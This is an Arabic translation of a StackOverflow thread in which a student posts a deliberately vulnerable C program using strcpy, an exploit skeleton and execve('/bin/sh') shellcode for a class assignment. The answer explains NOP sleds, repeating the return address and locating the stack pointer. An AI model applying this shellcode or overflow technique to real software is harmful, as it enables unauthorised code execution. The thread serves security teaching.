سؤال

أحاول معرفة هذه المشكلة لأحد فصول Comp Sci الخاصة بي ، لقد استخدمت كل مورد وما زلت أواجه مشكلات ، إذا كان بإمكان شخص ما تقديم بعض البصيرة ، فأنا أقدر ذلك كثيرًا.

لدي هذا "الهدف" الذي أحتاجه لتنفيذ execve ("/bin/sh") مع استغلال الفائض المخزن المؤقت. في الفائض من BUF [128] ، عند تنفيذ الأمر غير الآمن Strcpy ، يظهر مؤشر العودة إلى المخزن المؤقت في الموقع الذي يتوقع فيه النظام العثور على عنوان العودة.

Target.c

int bar(char *arg, char *out)
{
 strcpy(out,arg);
 return 0;
}

int foo(char *argv[])
{
 char buf[128];
 bar(argv[1], buf);
}

int main(int argc, char *argv[])
{
 if (argc != 2)
 {
  fprintf(stderr, "target: argc != 2");
  exit(EXIT_FAILURE);
 }
 foo(argv);
 return 0;
}

exploit.c

#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
  char *args[3];
  char *env[1];

  args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

shellcode.h

static char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

أنا أفهم أنني بحاجة إلى ملء Argv [1] بأكثر من 128 بايت ، والبايت أكثر من 128 هو عنوان الإرجاع ، والذي ينبغي أن يتم إرجاعه إلى المخزن المؤقت بحيث ينفذ /bin /sh داخل. هل هذا صحيح حتى الآن؟ هل يمكن لأي شخص تقديم الخطوة التالية؟

شكرا جزيلا على اي مساعدة.

هل كانت مفيدة؟

المحلول

حسنًا ، لذلك تريد أن يقوم البرنامج بتنفيذ رمز shellcode الخاص بك. إنه بالفعل في شكل آلة ، لذلك فهو جاهز للتنفيذ من قبل النظام. لقد قمت بتخزينها في المخزن المؤقت. لذا ، سيكون السؤال هو "كيف يعرف النظام تنفيذ الكود الخاص بي؟" بتعبير أدق ، "كيف يعرف النظام أين يبحث عن الكود التالي المراد تنفيذه؟" الجواب في هذه الحالة هو عنوان الإرجاع الذي تتحدث عنه.

في الأساس ، أنت على المسار الصحيح. هل حاولت تنفيذ الكود؟ شيء واحد لاحظته عند أداء هذا النوع من الاستغلال هو أنه ليس علمًا دقيقًا. في بعض الأحيان ، هناك أشياء أخرى في الذاكرة لا تتوقع أن تكون هناك ، لذلك يجب عليك زيادة عدد البايتات التي تضيفها إلى المخزن المؤقت الخاص بك من أجل محاذاة عنوان الإرجاع بشكل صحيح مع المكان الذي يتوقعه النظام فيه.

أنا لست متخصصًا في الأمن ، لكن يمكنني أن أخبرك ببعض الأشياء التي قد تساعد. أحدهما هو أنني عادةً ما أقوم بتضمين "NOP SLED" - في الأساس مجرد سلسلة من البايتات 0x90 التي لا تفعل أي شيء آخر غير تنفيذ تعليمات "NOP" على المعالج. هناك خدعة أخرى تتمثل في تكرار عنوان الإرجاع في نهاية المخزن المؤقت ، حتى أنه حتى لو كان أحدهم يكتب عنوان الإرجاع على المكدس ، سيكون لديك عودة ناجحة إلى المكان الذي تريده.

لذا ، سيبدو المخزن المؤقت الخاص بك هكذا:

| NOP SLED | shellcode | عنوان العودة المتكرر |

(ملاحظة: هذه ليست أفكاري ، لقد حصلت عليها من القرصنة: فن الاستغلال ، بقلم جون إريكسون. أوصي بهذا الكتاب إذا كنت مهتمًا بمعرفة المزيد عن هذا).

لحساب العنوان ، يمكنك استخدام شيء مشابه لما يلي:

unsigned long sp(void) 
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer

int main(int argc, char *argv[])
{
    int i, offset;
    long esp, ret, *addr_ptr;
    char* buffer;

    offset = 0;
    esp = sp();
    ret = esp - offset;
}

الآن ، ستحتفظ RET بعنوان الإرجاع الذي تريد العودة إليه ، على افتراض أنك تخصيص المخزن المؤقت لتكون على الكومة.

مرخصة بموجب: CC-BY-SA مع الإسناد
لا تنتمي إلى StackOverflow
scroll top